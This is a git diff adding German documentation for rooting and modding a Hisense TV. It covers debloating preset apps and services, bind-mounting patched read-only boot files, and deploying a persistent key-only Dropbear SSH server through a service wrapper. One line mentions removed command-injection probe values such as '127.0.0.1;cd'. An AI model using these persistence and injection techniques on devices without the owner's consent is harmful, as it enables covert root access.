native App** braucht einen `am_config`-Eintrag (`exec`/`args`) — ro; per `developer.sh`-Bind-Mount einer modifizierten `am_config` (vor `app_man`). Oder ein eigener Service über `developer.sh`/`HamService` (kein AM nötig). +- **`Hisense_StartApp`** in der UI: Signatur/Verhalten im UI-DevTools prüfen (`UNVERIFIED`). + +### D.5 Native UI (DirectFB/GLES) — optional + +- `libdirectfb.so`/`/basic/lib`, Mali/GLES; die UI nutzt GLES, der Web-Browser DirectFB. +- Ein eigener nativer UI-Prozess ist möglich, aber aufwendig; die Web-UI-Route (B) ist der pragmatische Weg. +- `dtv_svc`/`libdtv`/`app_man` für TV-Funktionen; `libhspdk-jsx`/`HiBrowser` für die JS-Brücke. + +--- + +## Route E — Ro-Dateien patchen (Bind-Mount/Overlay) + +**Ziel:** `/basic/am_config`, `am_start.ini`, `delayrun.sh`, `ms_service`, `start-UI.sh`, `/3rd/...`-Dateien ersetzen, ohne den ro Rootfs/`/3rd` zu flashen. + +### E.1 Datei-Bind-Mount (empfohlen) + +```sh +# Kopie + Änderung in /3rd_rw +cp /basic/am_start.ini /3rd_rw/etc/am_start.ini +vi /3rd_rw/etc/am_start.ini # oder per File.write +# in developer.sh (vor app_man): +mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini +``` + +- **Wirkt nur, wenn der Mount vor dem Lesen/Ausführen passiert:** `developer.sh` (Zeile 90) ist vor `ms_service`/UI/`app_man`/`delayrun`. +- **Reboot-fest:** `developer.sh` führt den Mount bei jedem Boot aus. +- **Rollback:** `umount /basic/am_start.ini` (oder reboot); Original bleibt unangetastet. +- **Für `ms_service`/`start-UI.sh`/`app_man`:** Stub-Skript (`#!/bin/sh\nexit 0`) per `mount --bind` über die Binärdatei; der `-x`-Check läuft danach ins Leere. +- **Achtung:** `mount --bind` auf eine Datei benötigt das Ziel; die ro-Datei existiert. Kein Overlay nötig. + +### E.2 `patch/opera4x` (full overlay) + +- `autorun.sh` bindet `/3rd_rw/patch/opera4x` **als Ganzes** über `/3rd/opera4x`. +- Nur mit vollständiger Kopie (`cp -a /3rd/opera4x/. /3rd_rw/patch/opera4x/`) oder Symlink-Baum; sonst fehlen Browser/UI-Dateien. +- Für einzelne Dateien: E.1 (Datei-Bind) statt full overlay. +- **Rollback:** `rm -rf /3rd_rw/patch/opera4x` + reboot. + +### E.3 `am_config`/`am_start.ini` (Bloat) + +- Kopie nach `/3rd_rw/etc/`, Sektionen entfernen/ändern, per `developer.sh` binden. +- **Vor** `app_man` (Zeile 177); `developer.sh` (90). +- **Risiko:** `dtv_app_mtk`/`app_man` nicht entfernen (TV/Apps). `netflix`/`dialserver`/`samba`/`browser_base`/`securetime` optional (siehe `05`). + +### E.4 `delayrun.sh` + +- Kopie nach `/3rd_rw/etc/delayrun.sh`; unerwünschte Zeilen entfernen; per `developer.sh` über `/basic/delayrun.sh` binden. +- **Vor** `autorun` Zeile 190; `developer.sh` (90). +- **Risiko:** `LauncherService` (UI-Daten) und `HamService` (unsere Persistenz) behalten; `swrc`/`runlog`/`Seriallog` optional. + +--- + +## Route F — Statische Tools / Deploy / SSH + +- **Kein Package Manager** (siehe `06`): statische ARM-Binaries bauen, nach `/3rd_rw/bin` legen, chmod +x. +- **Deploy:** `File.download` (HTTP → appdata), SSH (`ssh root@… 'cat > /3rd_rw/bin/x' < x` / `base64`), USB-Symlink, `tar`. +- **`scp`/`sftp`:** Dropbear allein hat keinen sftp-server. Der finale Ordner + enthält einen statischen OpenSSH-9.9p1-sftp-server + gepatchten Dropbear; + Installation: `../root/scripts/host/install_sftp.sh` (testet Port 2222, dann + Tausch auf 22). Danach: + ```bash + sftp root@192.168.188.94 + # put -r /lokaler/UI-Ordner /3rd_rw/ + # get /3rd_rw/UI/index.html + ``` + Modernes `scp` (OpenSSH 9+) nutzt ebenfalls SFTP und funktioniert dann. + **Vor UI-Uploads:** Backup `/3rd_rw/backup/UI...`; nach dem Upload UI neu + starten (siehe Route B). SFTP ist root-equivalent, key-only, LAN. +- **SSH:** siehe `../root/ROOT-GUIDE.md`; key-only, PTY via devpts-Workaround. +- **Root-Loop:** der bequemste Deploy-Kanal für kleine Dateien/Kommandos (siehe D.3). + +--- + +## Test- und Rollback-Plan + +1. **Backup:** `/3rd_rw/backup//` für jede geänderte Datei (`UI/index.html`, `Appinfo.json`, `deletedPresetApp.txt`, `preset.txt`, `Category*.xml`, `am_config`, `am_start.ini`, `delayrun.sh`, `HamService`-Wrapper). +2. **Eine Änderung:** nicht UI + AM + Bloat gleichzeitig. +3. **Test:** UI neu starten; SSH/Recon offen halten; `log`/DevTools prüfen. +4. **Rollback:** Backup zurück; `umount` der Bind-Mounts; UI/AM neu starten; notfalls reboot. +5. **Kein Flash:** alle Änderungen in `/3rd_rw`/`/data`/`/perm`/Bind-Mounts; der ro Rootfs/`/3rd` bleibt unangetastet. +6. **SSH/Root-Loop:** nie aussperren; vor UI-/AM-Änderungen testen, dass SSH noch geht. + +--- + +## Templates + +- `templates/developer.sh` +- `templates/custom-app.json` +- `templates/hide-preset.json` +- `templates/custom-ui.html` +- `templates/start-UI-custom.sh` +- `templates/README.md` + +**Dead Ends / verworfene Wege:** `../dead-ends.md`. diff --git a/modding/05-bloat.md b/modding/05-bloat.md new file mode 100644 index 0000000..9e61570 --- /dev/null +++ b/modding/05-bloat.md @@ -0,0 +1,261 @@ +# 05 — Bloat: 26 Preset-Apps, Native-Apps/Services, was weg kann + +**Ziel:** „Pre-loaded Müll“ ausblenden/abschalten, ohne die TV-/UI-Funktionen zu zerstören. +**Status:** App-/Service-Listen **CONFIRMED**; die **Wirkung** einzelner Deaktivierungen ist teils `UNVERIFIED` (testen, backupen, rollback). + +--- + +## 1. Die 26 Preset-Tiles (UI) + +Quelle: `/3rd_rw/appdata/launcher/preset.txt` (live). Die Tiles werden über `Appinfo.json`/`deletedPresetApp.txt`/`Category*.xml` gesteuert. + +| # | App | StartCommand / URL | Typ | Boot/On-demand | +|---:|---|---|---|---| +| 1 | Netflix | `netflix` | native (AM) | `am_start.ini` (Boot) | +| 2 | Prime Video | `amazon` | native (AM) | on-demand | +| 3 | Disney+ | `https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html` | Web | on-demand | +| 4 | maxdome | `http://8577004de253-ott-tv.maxdome.de` | Web | on-demand | +| 5 | YouTube | `youtube` | native/Web | on-demand | +| 6 | Rakuten TV | `https://prod-hisense-ui40-app.rakuten.tv/` | Web | on-demand | +| 7 | rlaxxTV | `https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense` | Web | on-demand | +| 8 | Chili | `https://hisense.chili.com` | Web | on-demand | +| 9 | UEFA.TV | `https://smarttv.uefa.tv` | Web | on-demand | +| 10 | RTL TVNOW | `https://app.hisense.rtl-smart.tv/` | Web | on-demand | +| 11 | Kidoodle.TV | `https://ctv-vewd.kidoodle.tv` | Web | on-demand | +| 12 | AccuWeather | `accuweather` | native/Web | on-demand | +| 13 | YuppTV | `http://www.yupptv.com/hisense/index.html` | Web | on-demand | +| 14 | Plex | `http://plex.tv/web/tv/hisense?mixedContent=1` | Web | on-demand | +| 15 | Videociety | `https://smarttv3.videociety.de` | Web | on-demand | +| 16 | App Store | `http://2897431816.fxm3751860294.com/?category=apps` | Store/Foxxum | on-demand | +| 17 | Movies | `...?category=movies` | Store | on-demand | +| 18 | Catch up TV | `...?category=catchup` | Store | on-demand | +| 19 | News | `...?category=news` | Store | on-demand | +| 20 | Music | `...?category=music` | Store | on-demand | +| 21 | Sports | `...?category=sport` | Store | on-demand | +| 22 | Search | `...?category=search` | Store | on-demand | +| 23 | Game Center | `http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html` | Web | on-demand | +| 24 | TV Browser | `browser` | native (Web-Browser) | on-demand | +| 25 | VIDAA tv | `vidaa-plus` | native/Store | on-demand | +| 26 | VidaaRecon | `http://192.168.188.150:9000/recon.html` | User/Web (`UrlType 36`) | on-demand | + +- **Unser `VidaaRecon`** ist die Recon-/Debug-App; im finalen Setup darf sie bleiben oder entfernt werden. +- **`TV Browser`** ist der Web-Browser (`hisense_browser`); **nicht** die TV-UI. +- **Store-/Foxxum-URLs** (`2897431816.fxm3751860294.com`) sind die App-Store-Kategorien. +- **`PreInstall:true`** bei den Presets; `UrlType 37` (Start Web App); unser Recon `36`. + +### 1.1 Tiles ausblenden: `deletedPresetApp.txt` + +Datei: `/3rd_rw/appdata/launcher/deletedPresetApp.txt` — JSON-Array von URLs/IDs. +Beispiel: `templates/hide-preset.json`. + +```json +[ + "netflix", + "amazon", + "youtube", + "https://cd-dmgz.bamgrid.com/bbd/hisense_tv/index.html", + "http://8577004de253-ott-tv.maxdome.de", + "https://prod-hisense-ui40-app.rakuten.tv/", + "https://tvapp.rlaxxtv.com/r/no-animations/720/?customer=Hisense", + "https://hisense.chili.com", + "https://smarttv.uefa.tv", + "https://app.hisense.rtl-smart.tv/", + "https://ctv-vewd.kidoodle.tv", + "http://www.yupptv.com/hisense/index.html", + "http://plex.tv/web/tv/hisense?mixedContent=1", + "https://smarttv3.videociety.de", + "http://apps.tvgam.es/tv_games/hisense_portal/production/portal/index.html", + "http://2897431816.fxm3751860294.com/?category=apps", + "http://2897431816.fxm3751860294.com/?category=movies", + "http://2897431816.fxm3751860294.com/?category=catchup", + "http://2897431816.fxm3751860294.com/?category=news", + "http://2897431816.fxm3751860294.com/?category=music", + "http://2897431816.fxm3751860294.com/?category=sport", + "http://2897431816.fxm3751860294.com/?category=search" +] +``` + +- **IDs** (`netflix`, `amazon`, `youtube`, `browser`, `vidaa-plus`, `accuweather`) für native Apps; **URLs** für Web/Store. +- **`preset.txt` ist nur Cache:** die Hide-Liste ist der persistente Hebel. Die UI/`ldi.js` filtert damit. +- **Stand 2026-10-26:** Die alten Probe-Einträge (data:, javascript:, 127.0.0.1;cd…) wurden beim Cleanup entfernt; die Datei ist jetzt `[]`. Zum Ausblenden die obige Liste (oder eine Teilmenge) eintragen. +- **Backup:** `cp deletedPresetApp.txt /3rd_rw/backup/`. +- **Wirkung:** UI/Launcher neu starten; reboot wirkt sicher. + +### 1.2 User-App entfernen + +`/3rd_rw/appdata/launcher/Appinfo.json` → `VidaaRecon`-Eintrag entfernen; UI neu starten. +Oder `preset.txt`-Eintrag (Cache) entfernen; der `Appinfo`-Eintrag ist die eigentliche User-App. + +### 1.3 `preset.txt` / `Category*.xml` / `serviceUpdate.xml` + +- **`preset.txt`:** Cache; kann von der UI/`allAppsWriteToFileForUse` neu geschrieben werden. +- **`Category_1001_*.xml`/`Category_57_*.xml`/`CategoryIndex.xml`/`CategoryList_*.xml`/`PicInfo.xml`:** die Store-/Launcher-Quelle; Änderungen nur mit Backup (der `LauncherService` kann sie aktualisieren). +- **`serviceUpdate.xml`:** Land/Timestamp; entscheidet `launcher/data` (aktiv) vs. `UI/data` (Default). Wenn du eigene Kategorien willst, halte Land/Timestamp konsistent oder bearbeite `UI/data/` als Fallback. +- **Icons:** `res/`; `cache/index.json`; `Image`/`IconURL`/`Thumb`/`Icon_96`. + +### 1.4 „Platz sparen“? + +**Nein, nicht durch Löschen der Presets.** `/3rd` ist ein **ro squashfs (100 % voll)**; die Apps liegen dort. Tiles ausblenden/AM-Sektionen deaktivieren spart **Runtime**, nicht Flash-Speicher. +- `/3rd_rw`: 489 MB frei; `/data`: 1.9 GB frei. +- Um `/3rd` zu verkleinern, müsste man das squashfs neu packen/flashen → **nicht** Teil dieses Wegs. + +--- + +## 2. Native Apps / Services — Matrix + +### 2.1 Boot-Apps (`am_start.ini`) + +| App/Section | Exec | Rolle | Empfehlung | +|---|---|---|---| +| `dtv_app_mtk` | `/basic/dtv_svc` | TV-Kern (Tuner/DTV/Navigator) | **behalten** | +| `securetime` | `/3rd/playready/securetime` | PlayReady Secure Time | behalten, wenn DRM/Netflix; sonst optional | +| `netflix` | `/3rd/netflix/nrd-app/netflix` | Netflix | optional (aus, wenn nicht genutzt) | +| `dialserver` | `/3rd/dialserver/dialserver` | DIAL/CAST | optional | +| `samba_relay_agent` | `/3rd/samba/samba-relay-agent` | Samba-Relay (9090) | optional | +| `browser_base` | `/3rd/internet_browser/browser -x bws_background` | Hintergrund-Browser | optional | + +### 2.2 On-demand / `am_config` + +| App | Exec | Rolle | Empfehlung | +|---|---|---|---| +| `opera4x` | `/3rd/opera4x/browser/run-Browser.sh` | Web-Browser (`hisense_browser`) | behalten (TV Browser/Recon) | +| `opera_browser` | `/3rd/internet_browser/browser` | Internet-Browser-Variante | optional | +| `opera_tv_store` | `/3rd/internet_browser/browser` | TV Store | optional | +| `youtube` | Internet-Browser (`youtube.com/tv`) | YouTube Web | optional | +| `youtube_kids`/`youtube_tv` | `/3rd/cobalt/cobalt` | Cobalt-YouTube | optional | +| `cobalt` | `/3rd/cobalt/cobalt` | Cobalt | optional | +| `amazon_ignition` | `/3rd/amazon/bin/ignition` | Amazon | optional | +| `factory_lite` | `/3rd/his_factory/factory_lite` | Factory-Menü | behalten (Service-Menü) oder optional | +| `huluplus`, `hotlist`, `generic_osd` | Internet-Browser | Legacy/Store | optional | +| `vudu` (referenziert) | — | Store/Region | optional | +| `diskcache` | `/3rd/netflix/diskCache` | Netflix-Cache | nur mit Netflix | + +### 2.3 Späte Services (`delayrun.sh`) + +| Service | Pfad | Rolle | Empfehlung | +|---|---|---|---| +| `swrc-server` | `/3rd/swrc-server/swrc-server` | Software-Remote-Control | optional (Remote-App) | +| `runlogservice` | `/3rd/his_runlog/runlogservice.sh` | Run-/Logging | optional (Logs) | +| `LauncherService` | `/3rd/launcherservice/bin/LauncherService` | Launcher-/App-Daten/UI | **behalten** (UI-Daten) | +| `Seriallog` | `/3rd/Serial_log/Seriallog` | serielles Logging | optional | +| `HamService` | `/3rd/hamservice/HamService` | ACR/Hisense | **Wrapper behalten** (SSH/Root-Loop); echtes HamService optional | +| `swap` | `mmcblk0p34` | Swap | optional (Performance) | + +### 2.4 `ms_service` / UI / AM + +| Komponente | Pfad | Rolle | Empfehlung | +|---|---|---|---| +| `ms_service` | `/3rd/ms-screen/ms_service` | DLNA/MediaServer | optional (nur mit DLNA) | +| `hisenseUI` | `/3rd/opera4x/hisenseUI/bin/hisenseUI` | TV-UI (GLES) | **behalten** (UI) | +| `app_man` | `/basic/app_man` | AM/native Apps | **behalten** (TV/Apps) | +| `dtv_svc` | `/basic/dtv_svc` | TV-Kern | **behalten** | +| `browser_base` | `/3rd/internet_browser/browser` | Hintergrund-Browser | optional | +| `LauncherService` | siehe oben | UI-Daten | **behalten** | +| `HamService` | siehe oben | ACR | Wrapper behalten; echtes optional | + +### 2.5 Was **nicht** deaktivieren + +- **`dtv_app_mtk`/`dtv_svc`**: TV/Tuner/Navigator; sonst kein TV/Bild. +- **`app_man`**: native Apps/AM; sonst starten Netflix/YouTube/TV etc. nicht. Für eine reine Custom-UI könnte man ihn stubben, aber das ist riskant (Remote/TV/Apps). +- **`hisenseUI`**: die UI; ohne sie schwarzer Bildschirm (es sei denn, du startest eine eigene UI). +- **`LauncherService`**: die UI-App-Daten; ohne ihn ggf. leere/fehlende Tiles. +- **SSH/Root-Loop** (`HamService`-Wrapper): dein Rettungsweg. +- **`securetime`**, wenn du DRM/Netflix nutzt. + +--- + +## 3. Wie deaktivieren? (drei saubere Wege) + +### 3.1 UI-Tiles: `deletedPresetApp.txt` + +- Einfachster, reversibler Weg; kein AM/Service-Eingriff. +- Siehe 1.1; Backup; UI neu starten/reboot. + +### 3.2 Native AM-Apps: modifizierte `am_start.ini`/`am_config` per `developer.sh` + +- Kopie nach `/3rd_rw/etc/`: + ```sh + cp /basic/am_start.ini /3rd_rw/etc/am_start.ini + cp /basic/am_config /3rd_rw/etc/am_config + # Sektionen/App_sect entfernen (z. B. netflix, dialserver, samba, browser_base) + ``` +- In `/3rd_rw/developer.sh` (vor `app_man`, Zeile 177): + ```sh + mount --bind /3rd_rw/etc/am_start.ini /basic/am_start.ini + mount --bind /3rd_rw/etc/am_config /basic/am_config + ``` +- **Reboot**; `ps`/AM prüfen; Backup/Rollback per `umount`/reboot. +- **Nicht** `dtv_app_mtk`/`dtv_svc`/`app_man` entfernen; `securetime` nur ohne DRM. + +### 3.3 Späte Services: modifizierte `delayrun.sh` per `developer.sh` + +- Kopie nach `/3rd_rw/etc/delayrun.sh`; unerwünschte Zeilen entfernen (`swrc`, `runlog`, `Seriallog`; `LauncherService`/`HamService` behalten). +- In `developer.sh`: + ```sh + mount --bind /3rd_rw/etc/delayrun.sh /basic/delayrun.sh + ``` +- `LauncherService` (UI) und `HamService`-Wrapper (SSH/Root-Loop) **behalten**. +- **`ms_service`** ist nicht in `delayrun`, sondern in `autorun.sh` (Zeile 162). Deaktivieren: + ```sh + # developer.sh, vor Zeile 162: + mkdir -p /3rd_rw/stubs + printf '#!/bin/sh\nexit 0\n' > /3rd_rw/stubs/true + chmod 755 /3rd_rw/stubs/true + mount --bind /3rd_rw/stubs/true /3rd/ms-screen/ms_service + ``` +- **`start-UI.sh`/`app_man`** stubben nur, wenn du eine eigene UI/keine nativen Apps willst; riskant. + +### 3.4 ACR/HamService + +- Der Wrapper `/3rd_rw/hamservice/HamService` startet Root-Loop + SSH und `exec`t das echte HamService. +- **ACR aus, SSH/Loop an:** `exec /3rd/hamservice/HamService "$@"` durch `exit 0` ersetzen (oder HamService-Config deaktivieren, `UNVERIFIED`). +- **HamService ganz aus:** Wrapper behalten (für SSH/Loop), echtes Service nicht starten; `startHam.sh` ruft nur den Wrapper. +- **Root-Loop/SSH nicht verlieren:** vor Änderung testen, dass du per SSH wieder rein kommst. + +--- + +## 4. Platz / Runtime + +- **Runtime-Bloat** (Prozesse/RAM/CPU) lässt sich durch 3.1–3.4 reduzieren. +- **Flash-Platz** wird **nicht** frei: `/3rd`/Rootfs sind ro squashfs (100 %). Löschen von Dateien in `/3rd` ist nicht möglich; nur ausblenden/stubben. +- `/3rd_rw` 489 MB frei; `/data` 1.9 GB frei; `/perm` 3.5 MB frei. +- **Kein Package Manager**, kein „Uninstall“ im Distro-Sinn. + +--- + +## 5. Risiko-/Rollback-Matrix + +| Änderung | Risiko | Rollback | +|---|---|---| +| `deletedPresetApp.txt` | niedrig (Tiles weg) | Backup zurück; UI neu starten | +| `Appinfo.json` | niedrig (User-App weg) | Backup zurück; UI neu starten | +| `Category*.xml`/`preset` | mittel (leere/falsche Tiles) | Backup; `LauncherService`/UI neu starten | +| `am_start.ini`/`am_config` | mittel–hoch (Apps/TV) | `umount`/Backup; reboot | +| `delayrun.sh` | mittel (Services/Logs/UI) | `umount`/Backup; reboot | +| `ms_service`-Stub | niedrig (DLNA weg) | `umount`; reboot | +| `start-UI`-Stub/Custom-UI | hoch (schwarzer Bildschirm) | Backup `UI/index.html`; SSH/root-Loop; UI neu starten | +| `app_man`/`dtv_svc` aus | hoch (TV/Apps) | `umount`/Backup; reboot | +| `HamService`-Wrapper | mittel (SSH/Loop weg) | Original-Symlink; `/3rd_rw/sshd/start_sshd.sh`; reboot | +| `patch/opera4x` full overlay | hoch (Browser/UI fehlt) | Patch-Ordner entfernen; reboot | + +**Immer:** Backup nach `/3rd_rw/backup/`; SSH/Root-Loop testen; eine Änderung pro Test; kein Flash. + +--- + +## 6. „Keep“-Liste (für ein stabiles, schlankes System) + +- **TV/UI:** `dtv_svc`/`dtv_app_mtk`, `hisenseUI`, `app_man`, `LauncherService`, `securetime` (bei DRM). +- **Zugang:** `HamService`-Wrapper (SSH/Root-Loop), `/3rd_rw/sshd`, `root_loop.sh`. +- **Web:** `opera4x`/`hisense_browser` (TV Browser/Recon), `browser_base` nur wenn nötig. +- **Daten:** `/3rd_rw/appdata/launcher` (Tiles), `/3rd_rw/UI` (UI), `/3rd_rw/backup`. +- **Optional aus:** Netflix, YouTube/Cobalt, Amazon, DIAL, Samba, `ms_service`, `swrc`, `runlog`, `Seriallog`, ACR/HamService (echt), Vudu/Hulu/Hotlist/GenericOSD, Diskcache. + +--- + +## 7. Unknowns + +- Exakte Folgen des Abschaltens von `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`/`securetime`/`browser_base`/`app_man` (je nach UI/Store/DRM). +- Ob `LauncherService`/`allAppsWriteToFileForUse` die `preset.txt`/`Category*.xml`/`deletedPresetApp.txt` bei jedem Start/Update neu schreibt (Hide-Liste ist der robuste Hebel). +- Ob `preset.txt`/`Appinfo`/`Category`-Änderungen einen UI-/Launcher-Neustart oder Reboot brauchen (UI-Restart reicht meist; reboot sicher). +- Ob die Store-/Foxxum-Daten (`serviceUpdate`/`Category*`) bei Netzwerk/Store-Update überschrieben werden. +- Ob `VIDAAU2Launcher` auf diesem Modell aktiv ist (die aktive UI ist `/3rd_rw/UI`). diff --git a/modding/06-toolchain-deploy.md b/modding/06-toolchain-deploy.md new file mode 100644 index 0000000..8274be9 --- /dev/null +++ b/modding/06-toolchain-deploy.md @@ -0,0 +1,297 @@ +# 06 — Toolchain & Deploy (kein Package Manager) + +**Status:** System-/Toolchain-Constraints **CONFIRMED**; Dropbear-Build + Deploy live bestätigt; die Skripte in `../root/` sind der finale Weg. + +--- + +## 1. Kein Package Manager + +Live-Check (root): + +```sh +for c in apt apt-get dpkg rpm opkg ipkg apk yum pacman; do command -v $c; done # leer +ls -la /etc/opkg /etc/opkg.conf /var/lib/opkg /var/lib/dpkg /usr/lib/opkg # fehlt +/bin/busybox --list | grep -E '^(opkg|dpkg|rpm|apk|ipkg)$' # leer +cat /etc/os-release # fehlt +``` + +**Es gibt keinen Package Manager.** Kein `opkg install`, kein `apt`, kein Paket-Repo. +**Deploy = Dateien kopieren + ausführbar machen + starten.** Keine „Installation“ im Distro-Sinn. + +--- + +## 2. Bauen für den TV + +| Constraint | Wert | +|---|---| +| Architektur | ARMv7, EABI5, hard-float, VFPv4/NEON | +| Kernel | 3.18.25; kein overlayfs, kein devtmpfs, devpts ja | +| TV-libc | glibc 2.18 (`/lib/libc-2.18.so`, `ld-linux.so.3`) | +| Host-Cross | `arm-linux-gnueabihf-gcc`, `-as`, `-ld`, `-objcopy` | +| Static | **empfohlen**; `-static`; der mitgelieferte Dropbear ist statisch und läuft | +| Dynamic | nur mit TV-glibc 2.18/Sysroot; sonst `GLIBC_2.xx not found` | +| Package Manager | keiner | + +### 2.1 Einfaches statisches Tool + +```bash +cat > hello.c <<'EOF' +#include +int main(){ printf("hello tv\n"); return 0; } +EOF +arm-linux-gnueabihf-gcc -static -Os -o hello hello.c +file hello +# ELF 32-bit LSB executable, ARM, EABI5, statically linked +``` + +Deploy: + +```bash +# per SSH (funktioniert immer, auch ohne SFTP) +base64 -w0 hello | ssh root@192.168.188.94 'base64 -d > /3rd_rw/bin/hello && chmod 755 /3rd_rw/bin/hello' +# oder per File.download (HTTP -> /3rd_rw/appdata) + root_loop cp/chmod +# oder nach optionalem SFTP-Install direkt: scp hello root@TV:/3rd_rw/bin/ +``` + +**Hinweis:** Dropbear allein hat keinen sftp-server. Der finale Ordner enthält einen statischen OpenSSH-9.9p1-sftp-server + gepatchten Dropbear; nach `../root/scripts/host/install_sftp.sh` funktionieren `sftp` und modernes `scp` (SFTP). Vorher: `ssh` + `base64`/`cat`/`tar` oder `File.download`. `tar` ist auf dem TV (BusyBox) vorhanden. + +### 2.2 Dynamisches Tool (nur wenn nötig) + +- Gegen die **TV-glibc 2.18** linken (Sysroot/Headers aus dem TV oder ein passendes älteres Sysroot); sonst scheitert der Loader. +- Der mitgelieferte Dropbear ist **statisch** (glibc 2.39) und läuft auf dem 3.18-Kernel; das ist der pragmatische Weg. +- `LD_LIBRARY_PATH`/`RPATH` beachten; die TV-Libs liegen in `/lib`, `/basic/lib`, `/3rd/lib`, `/3rd/opera4xLib`, `/3rd_rw/...`. + +--- + +## 3. Dropbear (SSH) — Build + Deploy + +Die finalen Binaries liegen in `../root/tools/pub/`: + +``` +dropbear 882204 B SHA256 976ec57e401765d5fc9c0a201d19c997c004dcf91a8d4bdb039bbb8419071eae +dropbear-sftp 882204 B SHA256 a21b0d3e53dd1d124105350319df45a2b44e7cef70dd29b418644b11fdcfed57 +dropbearkey 755452 B SHA256 3fbfa60891b3a9f3e971a24071ed4d14c93ee3e773dd6f4969646cc811b0dbbf +sftp-server 635680 B SHA256 d0f7700e84e582aef3948c29e4317fb0119e13393374a7455922ffa8d01202f3 +``` + +### 3.1 Repro-Build + +```bash +cd /workspace/hisense-he40e5600-root-modding +root/scripts/host/build_dropbear.sh +``` + +Das Skript nutzt `sources/dropbear-2022.83.tar.bz2` (SHA unten), configured mit: + +``` +--host=arm-linux-gnueabihf +--disable-zlib --disable-pam --disable-shadow +--disable-lastlog --disable-utmp --disable-wtmp +--disable-utmpx --disable-wtmpx +--disable-pututline --disable-pututxline +CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -static" LDFLAGS="-static" +``` + +und `localoptions.h`: + +```c +#define DROPBEAR_SVR_PASSWORD_AUTH 0 +#define DROPBEAR_SVR_PUBKEY_AUTH 1 +#define DROPBEAR_CLIENT 0 +``` + +- **Key-only:** Passwort-Auth ist compile-time aus; kein `-s`-Flag nötig (dieser Build kennt `-s` nicht). +- **`--disable-shadow`:** kein `/etc/shadow`-Zugriff; Pubkey-Auth. +- **Static:** keine TV-Lib-Abhängigkeit. +- **`dropbearkey`:** Host-Key erzeugen (`-t ed25519 -f /3rd_rw/sshd/host_key`). +- **`dropbear-sftp`:** `build_dropbear.sh` ruft am Ende `patch_dropbear_sftp.py`; das patcht `SFTPSERVER_PATH` auf `/3rd_rw/sshd/sftp-server` (gleiche String-Länge, keine ELF-Offsets). Der statische `sftp-server` kommt aus `build_sftp_server.sh`. + +### 3.2 Deploy auf dem TV + +1. `../root/scripts/host/upload_to_appdata.js` (TV-Konsole): lädt `dropbear`, `dropbear-sftp`, `dropbearkey`, `sftp-server`, `authorized_keys`, `start_sshd.sh`, `root_loop.sh`, `hamservice-wrapper.sh`, `deploy_sshd.sh`, `verify.sh`, `rollback.sh` nach `/3rd_rw/appdata`. +2. `../root/scripts/host/run_root_cmd.js` mit `/bin/sh /3rd_rw/appdata/deploy_sshd.sh`. +3. `deploy_sshd.sh`: + - kopiert die Binaries nach `/3rd_rw/sshd` (nutzt `dropbear-sftp` und installiert `sftp-server`, falls vorhanden); + - erzeugt Host-Key (Ed25519); + - kopiert `/etc/passwd` → `/3rd_rw/sshd/etc_passwd` mit Root-Home `/3rd_rw/sshd/home` und **bindet** sie über `/etc/passwd`; + - mountet devpts auf `/dev/shm/pts` und bindet es über `/dev/pts`; + - setzt `authorized_keys` (600), `.ssh`/Home 700; + - startet Dropbear auf `0.0.0.0:22`, key-only; + - installiert den `HamService`-Wrapper; + - prüft Prozesse/Port/Log/Host-Key. + +### 3.3 PTY-Workaround + +`/dev` ist Teil des **ro Squashfs** (kein devtmpfs); `/dev/pts` enthält statische Nodes 136,0–4; `/dev/ptmx` ist c 5,2. `mount -t devpts` direkt auf `/dev/pts` scheitert (ro Target). + +```sh +mkdir -p /dev/shm/pts +mount -t devpts -o mode=620,ptmxmode=666,gid=5 devpts /dev/shm/pts +mount --bind /dev/shm/pts /dev/pts +``` + +- `/dev/ptmx` bleibt der statische Node; `openpty` funktioniert damit. +- `start_sshd.sh` macht das bei jedem Start; der `HamService`-Wrapper ruft es beim Boot. +- Fallback ohne PTY: `ssh -T root@192.168.188.94 'id'`. + +### 3.4 Root-Home / authorized_keys + +- Root-Home `/basic` ist **ro**; Dropbear braucht `~/.ssh/authorized_keys`. +- Lösung: `/etc/passwd`-Kopie mit `root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh` und **Bind-Mount** über `/etc/passwd`; die ro Originaldatei bleibt unverändert. +- `authorized_keys`: dein Public Key (600, root); `.ssh`/Home 700. +- **Kein `/etc/shadow`-Eingriff**, kein Passwort. + +### 3.5 Host-Key / Verbindung + +``` +Host-Key: SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts +Login: ssh root@192.168.188.94 +``` + +Beim ersten Mal Fingerprint bestätigen. Der Host-Key bleibt in `/3rd_rw/sshd/host_key` (rw, reboot-fest). + +### 3.6 SFTP (optional, key-only) + +Dropbear hat keinen eigenen sftp-server; der Server exec't den compile-time +`SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro Rootfs erlaubt +dort keine Datei. Der finale Ordner liefert deshalb: + +- `../root/tools/pub/sftp-server` — **statischer** OpenSSH-9.9p1-sftp-server + (ARM, 635.680 B; kein glibc-2.18-Problem) +- `../root/tools/pub/dropbear-sftp` — Dropbear mit + `SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server` +- `../root/sources/openssh-9.9p1.tar.gz` + `build_sftp_server.sh` — Repro-Build +- `../root/scripts/host/install_sftp.sh` — Installation/Test/Tausch +- `../root/scripts/tv/{install_sftp_stage.sh,enable_sftp.sh,swap_sftp.sh}` + +**Build:** + +```bash +cd /workspace/hisense-he40e5600-root-modding +root/scripts/host/build_sftp_server.sh # OpenSSH sftp-server, static ARM +root/scripts/host/build_dropbear.sh # dropbear + dropbear-sftp +``` + +**Install (einfachster Weg, vom Host mit deinem SSH-Key):** + +```bash +cd /workspace/hisense-he40e5600-root-modding +root/scripts/host/install_sftp.sh +# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ... +``` + +Ablauf: + +1. lädt `sftp-server` + `dropbear-sftp` per `ssh` (nicht scp!) nach + `/3rd_rw/appdata`; +2. startet einen **Test-Dropbear auf Port 2222**; Port 22 bleibt unangetastet; +3. testet `sftp -P 2222` (echte SFTP-Session); +4. nur bei Erfolg: Backup `dropbear.nosftp`, Tausch auf Port 22, Neustart; +5. testet `sftp` auf Port 22. + +**Danach:** + +```bash +sftp root@192.168.188.94 +# pwd, ls 